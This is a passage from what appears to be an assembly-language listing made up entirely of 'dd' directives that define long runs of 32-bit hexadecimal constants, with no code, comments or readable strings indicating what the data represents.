80CE1680h, 95F9F0E8h, 0FE4C2B06h dd 79E4E153h, 0C25E00C1h, 0FDF7CD58h, 0F3001B8Ch, 0FA4FB202h dd 0F4524Ch, 6B039BF1h dd 90F2EAC0h, 3F9F9800h, 6D6757D5h, 541D010Fh, 0A599AC53h dd 0F0ADDFC2h, 512C4463h, 63007EE5h, 736B5BF9h, 83E411h dd 9989278Dh, 319E3CA4h, 6F64D600h, 82796907h, 9080001Eh dd 0A9993797h, 0B30251AFh, 0BAE253B4h, 0C1C980A6h, 1F0F5CAEh dd 8FBB15h, 8BEDDABCh, 9500F0F3h, 0EF600B96h, 0FE6411h dd 832E7C69h, 0B654B4ADh, 6DCDC600h, 998F016Ah, 0F0CE0034h dd 0B7ADA553h, 0F8004E51h, 5EBCB68Eh, 3C7FB6Ch, 7EA7360h dd 0D9184062h, 0C394BDB0h, 0C76507CFh, 207DDFD7h, 0F593F9EFh dd 0A8100502h, 44429D0Ah, 0EEE5003Bh, 3FCEC8Ah, 150005A3h dd 201FBD1Bh, 0C0264EBFh, 0D02235D9h, 913D865Ch, 6600F629h dd 0AE3A948Eh, 0ADE78Dh, 2B2EC6FDh, 721D7B75h, 43A39C00h dd 88F2524Bh, 7DD1E4A5h, 9EC639F1h, 32BBD884h, 1C0EA5Ch dd 48ED15A8h, 0FC00501Fh, 5AF2584Eh, 31B6B7F0h, 7C5D3038h dd 1FBE2892h, 0C28EECE6h, 2B53C44Dh, 84326C48h, 272A8C00h dd 93CF39D1h, 1D486074h, 5B06645Eh, 170086ECh, 65F95751h dd 599A2Eh, 0D1DC71EFh, 9F36A752h, 8BC348h, 91F5ECC2h dd 0E2D88Eh, 8B23797Ch, 49F44221h, 1A7A731Eh, 33938CC0h dd 0B8B288h, 44AED647h, 6FBD75FBh, 8A6DD704h, 7EBC72E5h dd 0B9324h, 5259B4B7h, 0B31824CFh, 136E1C4Eh, 0D3E505A1h dd 36D4D96h, 0C361AFF4h, 0DD7BD9C8h, 6E643A07h, 45C00508h dd 3EC5C8h, 542D2293h, 0EE3C7010h, 746D4300h, 0BE56C0B4h dd 37300020h, 861E7E77h, 0D33ACD83h, 29620175h, 14F7796Fh dd 9D8024D1h, 0CF6DD9CCh, 49B8EBDFh, 99FBF31Ch, 0AF150B80h dd 122C2111h, 0B926C4h, 0F18FF7EDh, 0A6000A01h, 0BF1F1808h dd 1373121h, 0DB3C3BD9h, 20A7426Ah, 3630491Ch, 6157FAE4h dd 606300FBh, 4F52B0AAh, 0BB3C9132h, 55F681C4h, 5DA0B75h dd 5D5AD840h, 147D4809h, 36F64C27h, 200F292h, 0D2282B8Fh dd 81E100DAh, 0D4453F17h, 0F6AA3B63h, 595CD100h, 74050FFEh dd 244758C9h, 98E6B300h, 6665FAh, 0EEBF30DBh, 3F700D23h dd 9D75F176h, 0AA422C60h, 0A01911E7h, 30B35ED6h, 211B1A42h dd 0C80669D3h, 0A3BD14E8h, 6B0425A0h, 32AA1DE1h, 1FCA04C5h dd 0B1D711AEh, 12C17E97h, 128079A1h, 9A328075h, 81EEA06h dd 25C47293h, 0A980DCBBh, 5C5329h, 9CA3F5F8h, 3FDCB95h dd 8216AE1Eh, 74B1F1C0h, 13B51F86h, 5C2D42h, 0C16F5EDAh dd 654C2850h, 0E93700ABh, 5835A651h, 0DC9863h, 66DB8BFDh dd 0CBCE382Ch, 0F4E17503h, 0A84B3FF3h, 1C595149h, 0AE8DF7h dd 0E8524608h, 5FF44D50h, 77F65C50h, 0DA5BCC09h, 73F18063h dd 0A47A25h, 0CBA14CAAh, 86046ED6h, 3E9C961Eh, 0AD318F80h dd 2ED3B699h, 4375F02Eh, 13B3A10Dh, 2717C007h, 3F20CD2Fh dd 45E349h, 5AF86055h, 2B2092EDh, 3525C300h, 4C3CDA3Eh dd 55F30053h, 6F0D6B65h, 9E120F70h, 3400A876h, 6A207285h dd 35E00463h, 90133BACh, 62CC1A08h, 7066D701h, 9F69FD9Bh dd 0D0D08E43h, 36D977h, 0FF026C60h, 658DFEA9h, 7452A460h dd 3E4BC26h, 0D2888BEBh, 41A17AD8h, 0E8BC30B1h, 84630574h dd 26796CD9h, 3127F94h, 399B9383h, 4FB5AB90h, 0CCC1B104h dd 4B84C664h, 0A191CAD0h, 0A84600AAh, 0C15FBFB8h, 7901D7D1h dd 0A7BDCDBh, 8684A9E2h, 0C884D6E9h, 400FE1Dh, 0CF86A3A6h dd 0EFB6DEFh, 211A6CC1h, 0D272D80h, 7718EA54h, 0CEFCD546h dd 4C7D02D1h, 74C0D81Eh, 0A4A824DEh, 1D2A903Dh, 8D45EEE8h dd 0A5023B32h, 40266F8Ch, 509E5Bh, 80AD5EB2h, 16C1404Bh dd 6A08A524h, 0B1ABF987h, 109E1CF0h, 8D74CEh, 62577FF0h dd 18661DEEh, 64D58007h, 0E00E6087h, 8FEFE896h, 9E36008Ch dd 0B64D409Bh, 197E9A0Bh, 30001271h, 3CAE37E2h, 384C01h dd 339D9FE4h, 0ABA3615Bh, 13B14900h, 776B2923h, 23B64CADh dd 5E81F93Fh, 417E7008h, 0D4CBD009h, 0B54CF117h, 483B79C0h dd 4E3E2CDCh, 6252032Ah, 7A91086Ah, 9BE96484h, 28953300h dd 0FE665BC9h, 79700060h, 8E877715h, 0A02E902Eh, 0AB03DAA6h dd 0ADB1D94Ah, 0A5B8CF02h, 60A79253h, 4EA673Dh, 44B560E3h dd 7389038h, 0FB056559h, 5F0AA2F8h, 8FA72AC1h, 6F1D0h dd 69623AA4h, 0AE70590Dh, 0BD51B902h, 400FE864h, 0A1F0E950h dd 8C6024D1h, 389A0092h, 0DD479DA0h, 0AD000B05h, 611802BBh dd 30240773h, 0B7F9397Fh, 0BA0058C4h, 0CE6CD6CAh, 0E484E6DEh dd 139AE0F6h, 170CFCh, 0D745A4EFh, 0DC597AE2h, 3F3007Bh dd 1C0CAA0Ah, 0CFD9822h, 2D55C627h, 29243CF9h, 0C443B7D7h dd 87EB0EB8h, 0BEE28E39h, 0AF5EC260h, 4882F400h, 0A79D4Fh dd 3ACEAD41h, 0FB840F79h, 6C2C2500h, 0B80E1175h, 43B60C20h dd 1864F615h, 89C7CA3Eh, 87B1B41Ch, 0D1006450h, 0D8883Ch dd 46F18981h, 0AA147A70h, 98972C01h, 4E5D85F6h, 136C4096h dd 3A460C7Dh, 30F5113h, 0C3F7E658h, 0C92C24A6h, 54FD04E7h dd 3B5C34h, 0EA4A4DE5h, 0E72693Fh, 61550B13h, 1DF58300h dd 27C523h, 0DCDF3D37h, 68FF32C4h, 0BFB98816h, 0C278D830h dd 626500CDh, 0DEAD8D46h, 317A26E4h, 7E006AF6h, 730B165Eh dd 264D3DDBh, 9E2F058h, 3588EFE6h, 3A770C9Ah, 0D79886B2h dd 23D3EB05h, 1AC3AD2Eh, 921D008Bh, 5939DA44h, 2D03958Ah dd 0F263EC8Fh, 0D12103CAh, 4C411983h, 803860A9h, 0A1994717h dd 1EE63C3Fh, 0CFB3B64Eh, 4A40A404h, 0E7DCAB8Bh, 3EE17F00h dd 7858ADCCh, 8C20037Eh, 309AC1EFh, 0FD805ECBh, 0CA58BE94h dd 1D8300DDh, 86DDAE81h, 65E703C7h, 3336968Fh, 0A19B73C8h dd 0B5A54300h, 0F15A5DBBh, 0E801007Fh, 0B6EA8336h, 17F2744Ch dd 80E36C3Fh, 503DC1E9h, 307AC82Eh, 0CE0FBFE7h, 33001680h dd 703F1FD6h, 7A1876h, 2F32908Ah, 0C637D9D4h, 0AD2F9E60h dd 51CC75Fh, 623F5EABh, 0DEA7D728h, 88F9A4E0h, 7200D3A6h dd 9093E122h, 12D9E27h, 2E4AAC05h, 9FCFF768h, 91C0DE0Dh dd 701D943h, 9C0D1896h, 2D7B1D74h, 0F729A30h, 932B79h dd 57C952F5h, 0F6396402h, 0EA1C406h, 0FE241FE6h, 0FB233094h dd 1CB4020Fh, 0E0DAB201h, 40167F82h, 0B0E1E4F0h, 92AE0722h dd 87BF64E7h, 817BC02Ah, 95078523h, 84E4DD9Bh, 7790728Ch dd 0D37E09DAh, 0C9008FDh, 4F6A3FAh, 60EE8260h, 0B84074D8h dd 0DFB70060h, 46E987E5h, 24654CBDh, 0D7322B1Dh, 52604098h dd 1FB960E1h, 0D7DA72C0h, 3427B8B8h, 0B20E8Fh, 0BC2218EEh dd 95160052h, 0B01C0F59h, 0FD00F7ADh, 0EDE69C9Fh, 4D48A8Dh dd 0C07679DDh, 0B501A0CBh, 9400B490h, 7F35389Eh, 24222587h dd 3FBA786Ch, 56FD680Bh, 55D27AD6h, 6884CCF1h, 0CCAF5FC4h dd 4E43285Fh, 8B80503Ch, 585AFE46h, 78273F0Dh, 1D8D480h dd 1385D07h, 57B12A49h, 2D55E8C8h, 3D706AC7h, 87B612CEh dd 0E9F144B1h, 58CDE073h, 0BFB6166Eh, 69FF4C13h, 0E75FA2Ah dd 408F61C7h, 0D86F5F08h, 2BEF8B64h, 0E9887CBFh, 0DFD96D2Ch dd 2ECC500h, 198BC16h, 0B811F3FBh, 0CD14A606h, 0E0FFFC03h dd 9C9E6302h, 609A182Eh, 179643h, 33848CEh, 7E9F46E7h dd 2F01C3B8h, 0D96A0299h, 0B46007BFh, 1349007Fh, 759C2A40h dd 0C43C06FFh, 80963C7Dh, 0BFCA3305h, 0EB196Eh, 0B85C1A38h dd 834E29FAh, 0BBD838C1h, 0A17437C3h, 89C10054h, 439F714Bh dd 0E8376075h, 0B880DF0Dh dd 98C174h, 92FA3006h, 0A338CA8Ch, 2513E930h, 9DD091h dd 0F9F152AEh, 0AA4E1E89h, 61B60F16h, 99EC4401h, 207A5E51h dd 583DD959h, 0CB0FB5Eh, 60320083h, 30AAB95Bh, 615AC681h dd 33F57B00h, 0FEBFC0h, 8B4D6DEEh, 0EA80060Ch, 0BAF1D050h dd 6A70211Dh, 0B75B0558h, 72D27ACh, 0C0134BD4h, 0F5239206h dd 4F36000Eh, 0BA663193h, 51003F91h, 8F14D780h, 0A0E90604h dd 5EEF7Ah, 824AB473h, 9E79EA2h, 0E2399204h, 0A64007E9h dd 58525FB4h, 811F32EAh, 28CB59E8h, 0F21DE4Ch, 0C06E5535h dd 0BF3177Bh, 5F473B00h, 0BD8E428Fh, 61C0179h, 0F88101CCh dd 73A02A80h, 1285360Fh, 0CA2D4E2Fh, 0C05AD80Dh, 0F439AC15h dd 3B042063h, 8E0FF6EDh, 0D80DBA4h, 67E9DBE3h, 81AFC84Ah dd 261C9900h, 155D78ADh, 0E04A01C4h, 6F034DD2h, 0E1F9E11Bh dd 5CEAF01Ah, 0EB3CFE1Dh, 802E150Eh, 0F9F453DCh, 211D67E1h dd 4630417Fh, 9511804Bh, 9A6C1E02h, 380683CCh, 0E8FEA2FBh dd 29440211h, 0F3492491h, 8D54C400h, 0FEAD225Bh, 4A9B6A02h dd 5656FD3h, 0A61C0EAh, 8A35FD4h, 447D4920h, 0DB3A6AFDh dd 2505216h, 45F38898h, 49A2202Bh, 275873A0h, 19E601B7h dd 0ABAD80E8h, 0A5BE09Dh, 840E05h, 9B23AE25h, 10C31335h dd 88E65311h, 0DE82BEh, 40BE849h, 12E9F7E5h, 0FCE14F0Ch dd 41486062h, 9F2DF098h, 80632CF0h, 7D310h, 84AFEAA0h dd 76D45F2Ah, 0B9503600h, 0A9592D6Ch, 227787Eh, 0EB2988CBh dd 0D3407D9Fh, 12785EC8h, 3685B407h, 3C23D15Ah, 715A054h dd 78C20053h, 69B23A2Fh, 0C60041C4h, 0C0541083h, 5E327Ah dd 5D296BC2h, 59337ED0h, 1E384AEBh, 3A1ECF2Fh, 0A318523Ah dd 38081E34h, 0B078184Ch, 2D138DA1h, 3CF8AC5Fh, 2784CF00h dd 1415AB34h, 78CC5D13h, 0B1530Fh, 89C66309h, 0A0397D0Dh dd 78196468h, 3469343Fh, 4DC5139h, 6281ADF0h, 0E27310C0h dd 0A8FF6D47h, 500619C8h, 0EAF82Ah, 71935C9Ah, 5E53141Bh dd 0ABF41C92h, 18940231h, 0CBE0042Eh, 1229DEF6h, 513800ECh dd 0D8BE2470h, 14ACF00Ah, 0E9022C79h, 42E726F2h, 4F0C3100h dd 8C0C88A3h, 0D830DCB6h, 8F704D1Bh, 0F59AEB59h, 0E2785001h dd 40846CADh, 90EC2C65h, 53F2EAA0h, 0C87F59C2h, 6578A177h dd 5842EF2Eh, 36F91D4Eh, 8761FC0Eh, 0AC11437Eh, 6EA80047h dd 5CF0D639h, 0F6494824h, 0FA7506CCh, 728E826h, 0E6378798h dd 1A6E4118h, 15198F27h, 216809D3h, 0D5B2E7E4h, 0E47C034h dd 0C79EADAEh, 3E501F76h, 13202243h, 4FFC61A0h, 6A606DB0h dd 991FEE4Dh, 0EA0C8150h, 0CF4D6B78h, 884F1414h, 0D8DF0258h dd 9D60741Ch, 2471164h, 499EBDAEh, 0BC8CA81Dh, 0B8904310h dd 16BDF511h, 9042C57Dh, 0A19B80C3h, 5119C6C4h, 0A0ACF84Ch dd 985D54E0h, 4814425Ch, 0C6F22248h, 0C1386E40h, 655D214h dd 0A321C88Ch, 877650E4h, 9AE64B13h, 42987C26h, 8390628Bh dd 90C52505h, 5914DC64h, 54512961h, 884CA261h, 19C72C3Ah dd 426428ACh, 12EA0ACFh, 59054844h, 0E0427FFCh, 46DFA71Ah dd 5B69440Ch, 976880AEh, 0FEC20C99h, 0BB8C882Dh, 3F74240Bh dd 0E9EF8A04h, 55146188h, 2787161h, 0C31027F4h, 0B094A4A0h dd 0DD52020h, 30EE28A0h, 0E9F74486h, 256880AEh, 8CC20C99h dd 4B8C8175h, 0C337620h, 215F6F9h, 787C8198h, 0D045A846h dd 0FE34800Ah, 650C6299h, 25493050h, 0C23AA9Ch, 9B2421D4h dd 4F15B132h, 0B01790A0h, 24251CF5h, 9414FA48h, 20D6D8B1h dd 0EB11FE74h, 0F15020D5h, 31F6CC1h, 996CAACFh, 8BB129D3h dd 0C481B7A8h, 0DCB4C845h, 81DFD8A6h, 0E8D95824h, 2C9A4C54h dd 0F03570A2h, 0F28D6CD3h, 855CEC03h, 0C53C1000h, 0ACF3F1Ch dd 0D8792A15h, 9E78A0A0h, 0DC8482DAh, 0E2B04129h, 1880EC86h dd 5DD02C67h, 0C4A05443h, 11F9E603h, 34077374h, 0DBA888E2h dd 4A083CA6h, 0F216A9D6h, 0E03CE828h, 5C8D6D1Fh, 8ED82A8Fh dd 9FE9083Ch, 50F01CF0h, 7BD58074h, 19207100h, 2E0D68B9h dd 3E1578A2h, 17078B47h, 0C26BB434h, 14835D2Fh, 0A0E11863h dd 1D24705Ah, 0B8D1FF24h, 0AF1AF280h, 1D1EF1E8h, 4171886Ah dd 0FAC11C8Fh, 49F822E1h, 1ED1C4BCh, 2D3A0081h, 0DCDD8911h dd 840CA0B0h, 38196CA3h, 499A09E5h, 0B8076EEBh, 1C3C488h dd 431FE95Bh, 44A1A870h, 74145E02h, 0F1201765h, 0C718C05Bh dd 0D314150Ch, 3E7CA960h, 0E603876Dh, 0DDEEE859h, 21710930h dd 1287659Ch, 20E1249h, 0C7FDAFDCh, 0C0E484A4h, 474D7133h dd 0B319813Bh, 1DF082Fh, 203E0721h, 0F4654D13h, 62022B29h dd 459A0B2h, 0AC8C887Eh, 2863D500h, 148A52A5h, 903DCE70h dd 79A09F03h, 287E5E64h, 5D75D503h, 0F0D3C3A1h, 719DE45h dd 0A6B6EE8h, 38EBA9C9h, 9B425BA0h, 4F07110Bh, 752402D9h dd 4D8880EEh, 0D42C96A8h, 2114E460h, 0D314A426h, 4E9D886Bh dd 2D81BCD4h, 24F14B25h, 193BF5D0h, 2CC8FFh, 0E85124A5h dd 583B2506h, 0BE804045h, 0EDD9F35h, 0C8DB6E17h, 6CFA02EEh dd 88A0C69Ch, 0A5B67976h, 9A9FEF1Eh, 97EF8837h, 1E6E1006h dd 0BC40010h, 9745590Ah, 0E7000EC8h, 0AD0255CEh, 60529396h dd 0C74A785Bh, 7F14CD18h, 6242F26h, 3EB2A7EDh, 4F180411h dd 42E1678h, 0BCE31A44h, 4F661C02h, 0F8A3E8BCh, 24EBCFC2h dd 0BA893FC7h, 30B40811h, 45303A70h, 1C354119h, 9EB503AEh dd 96610F08h, 212C0930h, 0B0AE1455h, 0F218EC3Fh, 9A3926B2h dd 6FED0698h, 4530A1D2h, 0A9B7311Eh, 3D9005Fh, 0A8D704FEh dd 9CB1D414h, 0F0088401h, 0C3F1BB68h, 0DE1B46CCh, 0F9AE4139h dd 20042603h, 0B4A8F4BCh, 88184D65h, 0B66834F6h, 0F2AC306Dh dd 9DA1FEF9h, 3652E900h, 467B1ED4h, 1A51C327h, 37B182DCh dd 0A67CDC86h, 0CD402B00h, 96DD504Fh, 7B142497h, 801611A0h dd 0E645876Fh, 9E0B8769h, 96B4C067h, 405B65B9h, 0CCA0A5ADh dd 61092694h, 0E255150h, 0DC30D1CCh, 80F1A09h, 65BA3601h dd 0A15B762Ah, 0C4A0B850h, 0BE34A0D2h, 73C60226h, 995A5C4Eh dd 0A3068460h, 6D03BA07h, 0C1206EE4h, 0C02645D4h, 30D909F1h dd 0FB7B81CFh, 6B933Ah, 0F3703FFh, 1655EC1h, 6F8DFA16h dd 48B6441Ch, 7D0C7BF8h, 906DF0C1h, 0C780044Eh, 0C0E5E850h dd 97A0C210h, 2460553Ah, 0E404948Eh, 0F8F3EFACh, 0AF3B8401h dd 8FED5224h, 0BBE4A19h, 25E884F5h, 0FC68FE49h, 0ED480F0Ch dd 76401C3h, 0AF548489h, 0AD3B9883h, 6CC97567h, 18CC2046h dd 4B3D2D01h, 431E76BEh, 453F7022h, 0C02259E4h, 8C6DF1DAh dd 0A97FE400h, 5232433Bh, 5D76005Ah, 0AEC37975h, 81C1C9FDh dd 44AD677Ah, 26B74AC4h, 80744D76h, 7BB5E64Fh, 8C05AA83h dd 0C6961A2h, 67D3B081h, 2FF4F180h, 0AFBCD794h, 0A89EA005h dd 8003571Dh, 3EB64F7Bh, 0D59814B8h, 24ADB073h, 8CF4442Ah dd 18E5F91Bh, 13077B9h, 7AA296F0h, 3040F6BCh, 45097C54h dd 22D82AC9h, 3C57084h, 0C102D7FEh, 3D125481h, 0BCE8E014h dd 1DEEA9h, 193362B3h, 1C577E60h, 3D906E4Ch, 1EC40EEh dd 0ED3B8C9Fh, 64FC81A0h, 5D4C54A4h, 11D430E0h, 9C33452h dd 0A16C2CB1h, 0E34F7490h, 4101B4B6h, 0D405030Ah, 3400DC72h dd 0D5D8EEFAh, 1F04B333h, 0FE5FD124h, 55BC58C0h, 4638985Dh dd 0AE1F023Dh, 31209EB8h, 1758112Ah, 0CF852081h, 324036A7h dd 0E8584C80h, 0A1008CE0h dd 0CCD1215Dh, 94139E4h, 45D64E59h, 7C00A094h, 6588BF7Dh dd 0C95D71D3h, 382EE719h, 76A70093h, 51166657h, 0A2171B12h dd 84A0A809h, 248CB518h, 776D31D3h, 83284441h, 6F0A9469h dd 8C23904Ah, 0A57200BAh, 32C544BFh, 9E463A0h, 7033760Bh dd 0D0801B1Ch, 1E19A7Ch, 2FEF972Eh, 7479D2E6h, 780B1D18h dd 80739EFAh, 77C767E4h, 24C89A92h, 4E8A8BAh, 0B4AC6628h dd 8002764h, 0B3B54E5Dh, 0B6BDA8h, 0D34838BCh, 0A42A992Eh dd 1E44B701h, 190BDD7Eh, 129F4820h, 1870C61h, 9A6C2A10h dd 0C19C54D6h, 424A74h, 9C25FEB4h, 0A04F0378h, 18001F8Ah dd 0EE0FEDE7h, 0B0DB5EF1h, 4A3492B8h, 2D78322Bh, 361AA461h dd 54732EC4h, 0B189E609h, 0A21076C4h, 1200876Bh, 9B6A0BC2h dd 0FFD375E9h, 86C8DC49h, 25CF049Fh, 0AAAD7D6Dh, 4844E182h dd 24EEC064h, 3E80CCA7h, 90D4AC3Bh, 1B55A0Ah, 0C839A144h dd 309986Bh, 0AD2A59h, 8CFBE4D8h, 469C5BB4h, 0EDF01F54h dd 77924F3Fh, 17AB5200h, 0BE87C5C0h, 5B84A128h, 0AC1B5C73h dd 29E071FFh, 0FB00199Dh, 0CE3C2EA3h, 7F5297h, 69A0A44h dd 58842990h, 94E0FA2Ch, 0DC799E41h, 148D824h, 78B7A0C3h dd 29FF72E2h, 0BC342294h, 0A059047Ch, 467D046Dh, 3C6FB488h dd 0D2BAC068h, 0D955B280h, 9BC3C8ADh, 60765807h, 1493E219h dd 0E03D9366h, 621C8ECEh, 5576426Ch, 0E87E5440h, 0FAE1CA1Ah dd 0C0E863D8h, 901A19A2h, 40AD4E50h, 0C181EE60h, 20B88C3Fh dd 205D3B35h, 34021404h, 0B6CC6B00h, 0E0A85EA3h, 81189EACh dd 49B86164h, 9195746Ch, 0A2A0043Ch, 0F95B0423h, 30AD0CC2h dd 6F112043h, 0E188374Dh, 203C0580h, 1A88067h, 0FD889A0Ch dd 60491413h, 0B958E370h, 48FF2536h, 20669Ch, 0A04863ADh dd 0AB4F2EB1h, 30EBE827h, 12CD8A00h, 40F31A6Dh, 4381574h dd 30DD68ADh, 0E0C825CAh, 7F804984h, 8BFA7701h, 1083872h dd 98B54697h, 0E050C881h, 0FA2CD0EAh, 8820A73Eh, 24C76F2Ch dd 1D744839h, 0D20E20EAh, 4046C490h, 0BBAE2202h, 3131389Eh dd 7A1A5B11h, 7E33D800h, 278E07Dh, 84A1454Dh, 0D4AE6CD3h dd 49B76780h, 0E100438Ch, 0B67712C5h, 52631A7h, 0AAE84AD0h dd 0AD38A029h, 0B999F860h, 0FAD0BC87h, 0C3F00D3h, 1AF58B73h dd 740BBE94h, 84DE9676h, 0BC825E99h, 0AC72ADh, 667012D4h dd 0CE7DE31h, 613F2B04h, 0FC8852DDh, 0DAA12E5h, 1F4804FCh dd 74CA24Bh, 0A82FEDCAh, 128C8BB0h, 44251F76h, 0B7791E86h dd 91EA80A0h, 0D091AD50h, 7E061900h, 1249D1h, 0D5EDF2D3h dd 4D2434BFh, 70BE563Ch, 44395300h, 41B496C3h, 0B85E89Ah dd 144E1204h, 0A799050Ch, 6FCD4500h, 0A2C9F1D1h, 0F0C600B3h dd 0E9D63BFEh, 0D358C37Ah, 96B51C2Bh, 87331D80h, 28F275FBh dd 0C0E0EF16h, 0A9EB918h, 0AEF87640h, 0D0E4D841h, 20C49009h dd 608BF6F5h, 132A8BC8h, 210076F6h, 0D8A99D0Dh, 0E95A61h dd 60E6FAA6h, 486C511Ch, 0FDDE4000h, 7049A0B1h, 14309079h dd 0C3C206Bh, 8C2C5908h, 51CE5885h, 4925AC03h, 0C370044Bh dd 0F002E276h, 1C0111F0h, 0C7F95836h, 3C84B98h, 9C3B0F9Fh dd 0D081690Bh, 0E039A404h, 3572940Eh, 3A5DA600h, 3B99F490h dd 0A5F17E8Bh, 30783814h, 45308D34h, 0F0EB0791h, 0FD0290h dd 3A319EF3h, 3C280388h, 713603CCh, 4CA90A9Bh, 2F929006h dd 2418B58Ch, 3DAA0E8Bh, 4CAA0807h, 3B4C4E9Ah, 85E89528h dd 4574EF7Ah, 4BA3050Ch, 3734788Ch, 0E750FF90h, 5945C6F2h dd 0F68E4B14h, 84A6CA0Ch, 96309940h, 48A20503h, 1A3078Bh dd 319FF288h, 4014478Fh, 2F3302B9h, 0C5A423Ch, 494DB2A7h dd 59750399h, 0A5F66645h, 0B3603100h, 3494D146h, 88911C19h dd 25B6801Bh, 0F85F7C32h, 0E6A38h, 0EB54E730h, 73DABBA0h dd 5A48389Dh, 0A82D5500h, 80B67E73h, 0B318A7FAh, 1970F875h dd 0DCC40049h, 2D7D7650h, 0AAB0FFC1h, 22F05806h, 1D98554Ch dd 2BFD875h, 0A3E4DC3Dh, 28971203h, 451826A1h, 0D8689034h dd 1244593Ch, 0DF319F60h, 28FFB61Fh, 3A2C2D76h, 8244F5DBh dd 788D3840h, 0C640A937h, 38030603h, 36B778C1h, 18A1BB51h dd 81F48D59h, 79C34E1Eh, 187733AFh, 592E1130h, 0D01E329h dd 0B0349248h, 408FA4D5h, 96239FCh, 0D084A0E5h, 184C6220h dd 1F8C5115h, 0F10ABB63h, 94791131h, 30C6A3B9h, 3DD56847h dd 6BE51557h, 0F331A4F6h, 202138F1h, 0A051EA99h, 45D2C878h dd 8E316861h, 188A5709h, 154C0339h, 8440587Ch, 5FAB4475h dd 0E0CEB312h, 0E039181Bh, 63316D95h, 0EE1E318Dh, 3E551914h dd 58232A4Ch, 8241E889h, 1DDAF591h, 0FA28418Fh, 0A43CB994h dd 79082E21h, 6A2456A5h, 10D374F8h, 0B2E3E6B8h, 0FA1210A5h dd 31406485h, 6E189CE5h, 8B73118h, 85F97A51h, 0C208BA59h dd 45F1F843h, 0C8210A9Eh, 0A9A8AA11h, 0CE4250AEh, 7550F223h dd 0D41085A3h, 21D4DA88h, 0E944CA5Dh, 0C8B52222h, 519F8108h dd 8D8A08ECh, 0A0718D45h, 5C32A412h, 0B2846C48h, 6032524Eh dd 3B4C680Dh, 56F03006h, 8D1ECD21h, 40614D6Ch, 448C98F8h dd 0A1C0FF5Ah, 6E8F7358h, 22EF1B6Ah, 88B43133h, 0B8191A84h dd 3EB16C26h, 0EF8F4110h, 0DC062126h, 22117618h, 8638A657h dd 0F2C64058h, 114279C9h, 3C5C8DC0h, 4032644Dh, 0B6D4152h dd 0A048E32Ch, 64F24CAFh, 494836D2h, 4095971Bh, 0F6ABC021h dd 0AC752450h, 0E26A62F8h, 0CD05110Fh, 453C8D30h, 801569A0h dd 85319DD8h, 46A5C600h, 7893F292h, 74F4748Fh, 5CF30037h dd 4102814Ah, 50FAE53h, 81D93BA2h, 0C69646A3h, 560030E1h dd 0D1F914Ch, 363A78AAh, 5811289Bh, 27CD88Eh, 32A0019Ah dd 0F0C0C698h, 571E0296h, 971F8236h, 9EF29005h, 0A68260C7h dd 0A814E046h, 0C88E2837h, 7D048D7Ch, 8B118AC0h, 32980101h dd 40A4C88Ch, 12184B95h, 908E8612h, 0BC012039h, 6E3771Bh dd 0D31882FCh, 0E371D975h, 30B2E738h, 6E7C68F5h, 51372C19h dd 0C189020Ah, 0E8E0D628h, 74803990h, 98681378h, 0BEDC094Eh dd 0FE6D5C40h, 1FFD2A00h, 0C0397B74h, 0F441050Bh, 80CE89DAh dd 2B0EBC20h, 3A6F320Fh, 204AEB2Dh, 8B216EA4h, 0F8F8B87Dh dd 8370B8A8h, 9158C840h, 0CD9C326h, 8192E39h, 98F93037h dd 0CDC014CFh, 29807C20h, 0DD1CD091h, 69E5647h, 104D113Dh dd 0EABB2909h, 68E48C3Eh, 0A89E10CFh, 0AC2710C7h, 0F838DB19h dd 0D381815Ch, 6BF1EF45h, 0A01040BEh, 8D9C4157h, 788B4850h dd 82D493C2h, 88C9484h, 66870DD6h, 8082ABF1h, 65564195h dd 898E8884h, 38D5D400h, 4FBFA806h, 7E19A312h, 1DAE002Bh dd 0ADC28008h, 5732C6DCh, 86F589FCh, 49087648h, 0B9C92841h dd 49E66415h, 97EF0F09h, 328051F0h, 3ED9933Fh, 2E143700h dd 923082C5h, 564EF3h, 9A469614h, 35595709h, 1988B78h dd 32A3F450h, 78F05461h, 89E73AB4h, 93078D01h, 0CCA9CF3Bh dd 44A6D54Eh, 4B8F9E00h, 0A9F0E19Dh, 7A04ACD0h, 53977C15h dd 8400CE0h, 9A0D08AAh, 0F894E230h, 0E1ADC530h, 0E2FB0823h dd 26E11B32h, 4EE5F139h, 8A488A0h, 6914A539h, 87FCA10h dd 0FA483564h, 0B3301D95h, 0C1593ACDh, 0BB881052h, 2B3C6791h dd 7C084646h, 70019641h, 0E902AF39h, 5CF09C6Dh, 0CBF5239h dd 8CC6B615h, 0AD065090h, 281C7DE3h, 38993496h, 32123909h dd 34483324h, 3E223591h dd 89403F44h, 243A1241h, 913C483Bh, 4446223Dh, 49894847h dd 0F1E04213h, 260286DEh, 2084D2B0h, 0A3F491B5h, 84FCB894h dd 49735B2h, 8526A59h, 38BC80E1h, 7C369FD8h, 86A53EF3h dd 0C701AC48h, 551BFA56h, 37A0E079h, 0FDD8311Dh, 251E431Fh dd 2DF9DB07h, 404CD3C7h, 3A5F84Bh, 0A6F778C3h, 1EC057A7h dd 0F91E5955h, 8A09380Bh, 7F484DBFh, 0F57F04E8h, 302BA259h dd 88D6A188h, 0D0A51108h, 0D814BE8Eh, 7AB38F8h, 28A90187h dd 0F0CA8F28h, 9CB2606h, 1804CC45h, 0BBEA042Fh, 518E7C81h dd 0A9ACC0D5h, 0C1185970h, 0C02157B3h, 7038A53Bh, 941FF6B3h dd 0D48766CBh, 4BC3AA7Eh, 0AC180EF5h, 546023E2h, 0D342F1FAh dd 2B1C43F9h, 9F7160F8h, 0D92919F4h, 0EC1728A2h, 0D7C1E4A9h dd 8CBB1C72h, 31A71141h, 453F0090h, 0D4DA8812h, 43005A54h dd 0A187A3C2h, 0E93DCDh, 0DCF66635h, 0DAD895B7h, 41D438CFh dd 0A475EB37h, 0B174B02Ah, 5DCD4606h, 30328Dh, 0AA2896DDh dd 725191DCh, 0A371A060h, 0E7EEBBh, 7A373494h, 9917888Dh dd 0B61B506h, 0F850CD52h, 31B70365h, 3A89E36Dh, 83AC5FC0h dd 27259E1Fh, 5766C2C0h, 0FE2C09CDh, 19720056h, 0A0EA70B7h dd 9E340ABFh, 0E40748C4h, 500D732h, 17FFC0D3h, 0E8FAB3A6h dd 29B06224h, 96600E46h, 7B6FEFFCh, 0BE002076h, 81F9236Bh dd 0A42914h, 0C0353BBBh, 0A9395592h, 0D65CBA00h, 0DA6894CEh dd 816F3AAEh, 579ECA00h, 5192993Fh, 9007C6FEh, 0E0F02B68h dd 0C3BA4BC0h, 13F746Ah, 0CB4954C5h, 0D31D3BBEh, 0BC4B75E0h dd 404DC630h, 2D04AB6h, 